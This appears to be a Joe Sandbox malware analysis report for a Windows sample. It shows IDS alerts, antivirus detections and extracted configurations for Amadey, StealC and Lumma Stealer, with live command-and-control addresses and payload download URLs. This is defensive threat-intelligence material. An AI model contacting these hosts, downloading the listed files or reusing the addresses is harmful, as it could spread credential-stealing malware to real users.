2024-11-23T01:15:31.847357+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50036	104.21.33.116	443	TCP
2024-11-23T01:15:34.026862+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50045	104.21.33.116	443	TCP
2024-11-23T01:15:39.496439+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50058	104.21.33.116	443	TCP
2024-11-23T01:15:41.793588+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50066	104.21.33.116	443	TCP
2024-11-23T01:15:52.738998+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50109	104.21.33.116	443	TCP
2024-11-23T01:15:54.854139+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50117	104.21.33.116	443	TCP
2024-11-23T01:16:20.516493+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50203	104.21.33.116	443	TCP
2024-11-23T01:16:30.314947+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50209	104.21.33.116	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T01:15:31.847357+0100	2049836	1	A Network Trojan was detected	192.168.2.5	50036	104.21.33.116	443	TCP
2024-11-23T01:15:39.496439+0100	2049836	1	A Network Trojan was detected	192.168.2.5	50058	104.21.33.116	443	TCP
2024-11-23T01:15:52.738998+0100	2049836	1	A Network Trojan was detected	192.168.2.5	50109	104.21.33.116	443	TCP
2024-11-23T01:16:20.516493+0100	2049836	1	A Network Trojan was detected	192.168.2.5	50203	104.21.33.116	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T01:15:34.026862+0100	2049812	1	A Network Trojan was detected	192.168.2.5	50045	104.21.33.116	443	TCP
2024-11-23T01:15:41.793588+0100	2049812	1	A Network Trojan was detected	192.168.2.5	50066	104.21.33.116	443	TCP
2024-11-23T01:15:54.854139+0100	2049812	1	A Network Trojan was detected	192.168.2.5	50117	104.21.33.116	443	TCP
2024-11-23T01:16:30.314947+0100	2049812	1	A Network Trojan was detected	192.168.2.5	50209	104.21.33.116	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T01:15:23.414937+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	50013	31.41.244.11	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T01:15:21.901517+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50006	185.215.113.43	80	TCP
2024-11-23T01:15:30.842593+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50030	185.215.113.43	80	TCP
2024-11-23T01:15:39.414748+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50059	185.215.113.43	80	TCP
2024-11-23T01:15:48.231423+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50093	185.215.113.43	80	TCP
2024-11-23T01:15:55.614086+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50118	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T01:15:50.084911+0100	2054350	1	A Network Trojan was detected	192.168.2.5	50102	34.116.198.130	80	TCP
2024-11-23T01:15:51.764816+0100	2054350	1	A Network Trojan was detected	192.168.2.5	50110	34.116.198.130	80	TCP
2024-11-23T01:16:22.574009+0100	2054350	1	A Network Trojan was detected	192.168.2.5	50208	34.116.198.130	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T01:14:01.721014+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T01:14:01.398762+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T01:14:02.049742+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T01:14:03.617334+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T01:14:02.179153+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T01:15:36.788912+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	50051	104.21.33.116	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T01:14:00.923664+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-23T01:15:49.814657+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50094	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T01:15:06.571966+0100	2856147	1	A Network Trojan was detected	192.168.2.5	49971	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T01:15:20.511720+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	49977	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T01:15:11.018246+0100	2803305	3	Unknown Traffic	192.168.2.5	49983	31.41.244.11	80	TCP
2024-11-23T01:15:23.414937+0100	2803305	3	Unknown Traffic	192.168.2.5	50013	31.41.244.11	80	TCP
2024-11-23T01:15:32.334671+0100	2803305	3	Unknown Traffic	192.168.2.5	50039	185.215.113.16	80	TCP
2024-11-23T01:15:41.202581+0100	2803305	3	Unknown Traffic	192.168.2.5	50065	185.215.113.16	80	TCP
2024-11-23T01:15:49.775723+0100	2803305	3	Unknown Traffic	192.168.2.5	50100	185.215.113.16	80	TCP
2024-11-23T01:15:57.171223+0100	2803305	3	Unknown Traffic	192.168.2.5	50125	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T01:14:04.326550+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-23T01:14:26.288533+0100	2803304	3	Unknown Traffic	192.168.2.5	49760	185.215.113.206	80	TCP
2024-11-23T01:14:28.245751+0100	2803304	3	Unknown Traffic	192.168.2.5	49760	185.215.113.206	80	TCP
2024-11-23T01:14:29.568808+0100	2803304	3	Unknown Traffic	192.168.2.5	49760	185.215.113.206	80	TCP
2024-11-23T01:14:30.781475+0100	2803304	3	Unknown Traffic	192.168.2.5	49760	185.215.113.206	80	TCP
2024-11-23T01:14:34.396789+0100	2803304	3	Unknown Traffic	192.168.2.5	49760	185.215.113.206	80	TCP
2024-11-23T01:14:35.488419+0100	2803304	3	Unknown Traffic	192.168.2.5	49760	185.215.113.206	80	TCP
2024-11-23T01:14:40.910753+0100	2803304	3	Unknown Traffic	192.168.2.5	49886	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T01:15:47.091791+0100	2843864	1	A Network Trojan was detected	192.168.2.5	50091	104.21.33.116	443	TCP
2024-11-23T01:15:56.613769+0100	2843864	1	A Network Trojan was detected	192.168.2.5	50124	104.21.33.116	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://31.41.244.11/files/lll.exe	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dll~	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dllO	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phppa	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000017.00000002.2615255445.0000000000681000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000000.00000002.2540983254.00000000011DE000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: lll.exe.8580.28.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": "https://property-imper.sbs/api", "Build Version": "1NCW25--775"}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.16/off/random.exen	Virustotal: Detection: 17%			Perma Link
Source: http://31.41.244.11/files/lll.exe	Virustotal: Detection: 17%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[2].exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\lll[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	ReversingLabs: Detection: 50%

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 50%
Source: file.exe	Virustotal: Detection: 52%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6C63A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C634440 PK11_PrivDecrypt,	0_2_6C634440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C604420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6C604420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6344C0 PK11_PubEncrypt,	0_2_6C6344C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6825B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6C6825B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C618670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6C618670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6C63A650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6C61E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6C65A730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C660180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6C660180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6343B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6C6343B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C657C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6C657C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C617D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6C617D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65BD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6C65BD30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C659EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6C659EC0

Source: f979933b17.exe, 0000001B.00000003.2869223033.0000000007A92000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_cbf856f0-b

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.13:443 -> 192.168.2.5:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.13:443 -> 192.168.2.5:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:49938 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50057 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50058 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50066 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50067 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50076 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50077 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50091 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50092 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50101 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50109 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50116 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50117 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50124 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50126 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:50133 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50143 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50148 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50149 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50161 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50163 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50203 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50209 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2583880092.000000006F8DD000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2583880092.000000006F8DD000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe	Memory has grown: Private usage: 1MB later: 38MB
Source: firefox.exe	Memory has grown: Private usage: 1MB later: 42MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49971 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49977
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50006 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50030 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50059 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50093 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50094 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.5:50102 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.5:50110 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50118 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.5:50208 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50045 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50045 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:50058 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50058 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:50051 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50117 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50117 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:50091 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:50109 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50109 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50066 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50066 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50209 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50209 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:50036 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50036 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:50124 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:50203 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50203 -> 104.21.33.116:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: https://property-imper.sbs/api
Source: Malware configuration extractor	IPs: 185.215.113.43

